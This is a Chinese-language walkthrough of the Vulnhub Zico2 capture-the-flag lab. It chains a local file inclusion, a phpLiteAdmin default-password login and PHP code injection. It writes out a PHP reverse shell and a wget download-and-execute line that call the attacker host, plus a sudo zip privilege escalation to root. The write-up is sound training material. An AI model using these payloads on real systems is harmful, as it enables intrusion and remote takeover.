Vulnhub渗透测试练习 - Zico2
vulnhub渗透环境
靶机地址
https://www.vulnhub.com/entry/zico2-1,210/
练习环境
- Kali Linux
- VirtualBox
信息收集
在信息收集之前需要获取到靶机的IP地址,我靶机在VirtualBox下是Host-Only
网络模式,而靶机是无法直接进入系统看到IP地址的。
这里用到一个kali linux下的一个工具netdiscover
基于ARP的网络扫描工具。
直接执行命令netdiscover
:
这里我们获取到两个IP地址,测试发现正确的是192.168.56.102
接下来用nmap
扫描端口信息
nmap -A 192.168.56.102
得到80端口上运行着一个Web服务器。
访问该Web服务,在这个时候我们可以用常见的扫描工具对网站进行扫描
漏洞利用
这里我简单对页面进行浏览,发现了一个文件包含漏洞。
1 | view.php?page=tools.html |
尝试包含../../etc/passwd
成功包含,解下来就尝试扫描目录,因为校园网的原因,只能用Host-Only
网络模式进行测试,所以一切测试过程都在Kali
下进行
这里尝试去扫描网站的目录,用到kali
下的dirb
专门用于爆破目录的工具。
得到一个dbadmin
的目录
这里用到的是一个叫phpLiteAdmin
服务器应用,版本号为v1.9.3
尝试找找这个版本的历史漏洞,这个服务是存在一个远程PHP代码注入漏洞的。
这里可以通过搜索引擎搜索相关漏洞详情也可以用kali
下的Searchsploit
一个用于Exploit-DB的命令行搜索工具。
这样们就可以看到漏洞详情,这里我们可以看到利用这个远程PHP代码注入漏洞需要登录的。
所以尝试默认密码admin
,发现可以直接登录进去。
从exploit-db
上的资料可以看出,我们需要创建一个数据库,写入一个shell。
这里可以用nc监听端口来反弹shell,也可以用msf生成php目录进行监听。
按照exploit-db
所说的建立数据库。这里直接创建一个后缀名为.php
的数据库shell
并添加表信息
这里在本地的/var/www/html
目录下创建txt文件
1 | <?php $sock=fsockopen("192.168.56.101",2333);exec("/bin/sh -i <&3 >&3 2>&3");?> |
然后启动apache web服务器
1 | service apache2 start |
然后返回到数据库中添加字段名,类型为TEXT
,写入PHP代码来下载执行shell
1 | <?php system("wget 192.168.56.101/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?> |
需要让目标下载执行这串恶意代码,需要一个HTTP请求。
这里我们就可以利用到之前发现的本地文件包含的漏洞了。
我们可以在数据库中发现我们恶意创建的数据库的路径
1 | /usr/databases/shell.php |
先用nc监听我们之前设置的端口2333
这里我们就可以反弹一个shell了。
权限提升
在反弹了shell后,对目录进行检查发现了
/home/zico中有一个wordpress
目录,是一个常见的CMS
进入查看wp-config.php文件。
发现了用户zico的登录凭证,我们可以用ssh
来连接。
1 | ssh zico@192.168.56.102 |
利用sudo -l
查看目前用户可执行与无法执行的指令;
这里表明当前用户zico
可以利用root权限无密码执行tar
和zip
命令
这里可以利用touch exploit
创建一个随机文件,并用zip
命令进行压缩
1 | sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'" |
- sudo 用管理员权限执行
- -T 检查文件的完整性。这个参数可以让他执行下一个参数 –unzip-command,在这个参数中写入一个python的交互shell
由此的到root
权限,接下来就可以进入/root
目录了
cat /root/flag.txt
得到flag。
总结
- vulnhub里面有很多不同的环境提供渗透,第一次完成一次完整的渗透过程,学到了很多东西。
- 在文章的开头用到了
kali linux
下的一个工具netdiscover
基于ARP的网络扫描工具。记得在一个师傅的面试经验介绍中,他被面试官问到为什么要用arp去探测内网主机,他回答的是相当隐蔽,探测的信息更准确。主要是因为传统探测远程主机是否存活的方法是通过ICMP协议中的回显应答报文来探测(ping)。很多主机为了避免被扫描器探测,通过防火墙将ICMP包屏蔽,从而达到在网络中隐藏的目的。 - 在文章中用到了两种语言的交互shell。分别是php和python,这里参考老外的博客Reverse Shell Cheat Sheet
- 对于我个人在提权实战经验方面是十分少的,在这次练习中学到了可以利用
touch exploit
创建一个随机文件,并用zip
命令进行压缩,由此可见还是自己的实战经验太少了。 - 最后感概下,英文的重要性。国外很多大牛的博客都是很丰富的,而对于一个英语四级425飘过的菜鸡,我也是很无奈的。只能靠百度翻译了。